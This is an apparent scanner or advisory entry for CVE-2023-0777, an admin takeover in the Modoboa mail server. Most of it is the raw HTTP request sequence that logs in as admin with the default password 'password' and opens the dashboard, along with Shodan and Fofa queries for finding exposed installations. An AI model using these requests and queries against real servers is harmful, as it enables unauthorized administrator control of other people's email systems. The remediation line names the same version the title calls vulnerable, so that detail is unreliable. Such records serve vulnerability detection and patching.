| Title | modoboa 2.0.4 - Admin TakeOver |
|---|---|
| Author | r3Y3r53 |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit authentication bypass using default credentials to gain administrator access and completely compromise Modoboa email server installations. |
| Remediation | update to version 2.0.4 |
| CVSS Score | 9.8 |
| EPSS Score | 0.71906 |
| CVE ID | CVE-2023-0777 |
| CWE ID | CWE-305,NVD-CWE-Other |
| Shodan Query | html:"Modoboa"http.favicon.hash:1949005079http.html:"modoboa" |
| Fofa Query | body="Modoboa"body="modoboa"icon_hash=1949005079 |
| Tags | cve2023 cve huntr packetstorm modoboa default-login vuln |
Authentication Bypass by Primary Weakness in GitHub repository modoboa/modoboa prior to 2.0.4.
GET /accounts/login/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Thunderbird/140.0
Connection: close
Accept-Encoding: gzip
POST /accounts/login/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 68
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
csrfmiddlewaretoken=RVhoc6&username=admin&password=password&next=%2F
GET /dashboard/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0777.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-0777.pcap
N/AN/A